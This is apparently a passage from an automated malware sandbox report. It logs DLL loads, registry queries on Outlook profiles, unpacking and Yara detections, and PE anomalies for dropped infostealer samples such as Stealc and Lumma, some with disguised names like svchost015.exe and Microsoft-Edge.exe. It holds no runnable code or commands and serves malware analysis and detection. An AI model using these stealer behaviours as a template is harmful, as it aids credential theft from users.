Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textinputframework.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coremessaging.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coremessaging.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: esdsip.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Automated click: OK
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Automated click: OK
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static file information: File size 1940480 > 1048576

Source: file.exe

Static PE information: Raw size of tutljgzd is bigger than: 0x100000 < 0x1a8200

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: RegAsm.exe, 0000000B.00000002.3536050802.0000000005D88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: stealc_default2.exe, 00000017.00000002.3113843128.000000006958D000.00000002.00000001.01000000.0000001C.sdmp, svchost015.exe, 0000001E.00000002.3461869295.0000000068EFD000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: \??\C:\Windows\System.ServiceModel.pdb source: RegAsm.exe, 0000000B.00000002.3536050802.0000000005D88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb8 source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: System.ServiceModel.pdb693405117-2476756634-1003_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32^ source: RegAsm.exe, 0000000B.00000002.3518496175.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.ServiceModel.pdb source: RegAsm.exe, 0000000B.00000002.3516704262.0000000000B37000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.pdb source: RegAsm.exe, 0000000B.00000002.3536050802.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: RegAsm.exe, 0000000B.00000002.3518496175.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: stealc_default2.exe, 00000017.00000002.3113843128.000000006958D000.00000002.00000001.01000000.0000001C.sdmp, svchost015.exe, 0000001E.00000002.3461869295.0000000068EFD000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: c:\rje\tg\7v\obj\Release\Qrr.pdb source: axplong.exe, 00000006.00000002.3518419435.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3252257395.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3252600342.0000000000F26000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tutljgzd:EW;nhtewlaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tutljgzd:EW;nhtewlaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tutljgzd:EW;nhtewlaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tutljgzd:EW;nhtewlaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 3.2.axplong.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tutljgzd:EW;nhtewlaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tutljgzd:EW;nhtewlaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 6.2.axplong.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tutljgzd:EW;nhtewlaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tutljgzd:EW;nhtewlaz:EW;.taggant:EW;

Yara detected Costura Assembly Loader

Source: Yara match	File source: 35.2.rstxdhuj.exe.5fa0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000002.3310805165.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3116851630.0000000002821000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: penis[1].exe.6.dr

Static PE information: 0xFDE1D90B [Tue Dec 23 00:53:31 2104 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1cf94b should be: 0x1d61a0
Source: Nework[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x6abc6
Source: gold.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5aa4a
Source: needmoney.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x417a7a
Source: needmoney[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x417a7a
Source: 12dsvc[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xe2c06
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1dfdb9 should be: 0x1dd3b6
Source: stealc_default2.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x31181
Source: penis[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x6b425
Source: 12dsvc.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xe2c06
Source: Nework.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x6abc6
Source: stealc_default2[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x31181
Source: file.exe	Static PE information: real checksum: 0x1dfdb9 should be: 0x1dd3b6
Source: 3ab68b6f1f.exe.6.dr	Static PE information: real checksum: 0x1d6d24 should be: 0x1df226
Source: c6f71c9f40.exe.6.dr	Static PE information: real checksum: 0x1cf94b should be: 0x1d61a0
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d6d24 should be: 0x1df226
Source: gold[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5aa4a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: tutljgzd
Source: file.exe	Static PE information: section name: nhtewlaz
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: tutljgzd
Source: axplong.exe.0.dr	Static PE information: section name: nhtewlaz
Source: axplong.exe.0.dr	Static PE information: section name: .taggant
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: .xdata
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: /4
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: /19
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: /31
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: /45
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: /57
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: /70
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: /81
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: section name: /92
Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: .xdata
Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: /4
Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: /19
Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: /31
Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: /45
Source: Microsoft-Edge.exe.6.dr	Static PE information: section name: /57
